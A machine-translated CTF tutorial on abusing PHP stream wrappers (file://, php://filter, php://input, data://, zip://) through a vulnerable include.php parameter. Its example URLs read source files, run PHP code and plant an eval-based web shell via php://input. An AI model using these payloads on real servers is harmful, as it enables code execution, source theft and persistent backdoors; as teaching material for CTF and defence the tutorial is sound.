PHP pseudo protocol implementation command execution details

Catalog

1.file:// agreement

2.php:// agreement

3.data:// agreement

4.zip:// & bzip:// & zlib:// agreement

summary

1.file:// agreement

Conditions ：

allow_url_fopen : off/onallow_url_include: off/on

effect ：

Used to access the local file system , stay ctf Is usually used to read local files

stay include() / require() / include_once() / require_once() The parameters are controllable , Even if import is not .php file , Such as shell.txt , Still, in accordance with the php Grammar for parsing , This is a include() Function

explain :

file:// The file system is php Default encapsulation protocol used , Used to show the local file system .

usage ：

/path/to/file.extrelative/path/to/file.extfileInCwd.extC:/path/to/winfile.extC:\path\to\winfile.ext\\smbserver\share\path\to\winfile.extfile:///path/to/file.ext

Example ：

1.file://[ The absolute path and filename of the file ]

http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

2.file://[ Relative path and file name of the file ]

http://127.0.0.1/include.php?file=./phpinfo.txt

3.http:// Network location and file name

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt2.php:// agreement

Conditions ：

allow_url_open : off/onallow_url_include: only php://input  php://stdin php://memory php://temp need on

effect ：

php:// Access individual inputs / Output stream (I/O streams), stay ctf Often used in php://filter and php://input

php://filter For reading source code php://input Used to perform php Code

explain ：

php Some miscellaneous inputs are provided / Output (IO) flow , allow access to PHP I / O stream , Standard I / O streams and error descriptors ：

php://filter Use ：

php://filter/read=convert.base64-encode/resource=[ file name ]

php://input Use ：

http://127.0.0.1/include.php?file=php://input [POST DATA part ]<?php phpinfo(); ?>

Write a sentence

http://127.0.0.1/include.php?file=php://input[POST DATA part ]<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>3.data:// agreement

effect ：

php>=5.2.0 , have access to data:// Data flow wrapper , To transfer data in the corresponding format . Usually used to perform php Code

usage ：

data://text/plain, ???

Such as ：

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>4.zip:// & bzip:// & zlib:// agreement

effect ：

zip:// & bzip:// & zlib:// All belong to compressed flow , You can access sub files in a compressed file , More importantly, you don't need to specify a suffix , It can be modified to any suffix , Such as jpg,png,gif,xxx etc.

Example ：

1.zip://[ Compressed file absolute path ]%23[ The name of the sub file in the compressed file ](# The code of is %23)

Compress phpinfo.txt by phpinfo.zip , Rename the package to phpinfo.jpg , And upload

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2

Compress phpinfo.txt by phpinfo.bz2 And upload （ Any suffix is also supported )

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz

Compress phpinfo.txt by phpinfo.gz And upload （ Supports any suffix ）

http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz summary

stay ctf The most common ones in English are data:// , php://input , php://filter ,file://

php://input ,data:// To execute commands 1.php://input Usage of http://127.0.0.1/include.php?file=php://input[POST DATA part ]<?php phpinfo(); ?>2.data:// usage http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>php://filter,file:// Used to read files 3.php://filter usage http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php（ Read php The file needs to be encrypted before it can be read out ）http://127.0.0.1/include.php?file=php://filter/resource=/flag4.file:// usage http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

This is about php This is the end of the pseudo protocol implementation command execution details article , More about php Please search the previous articles of the software development network or continue to browse the relevant articles below. I hope you can support the software development network in the future ！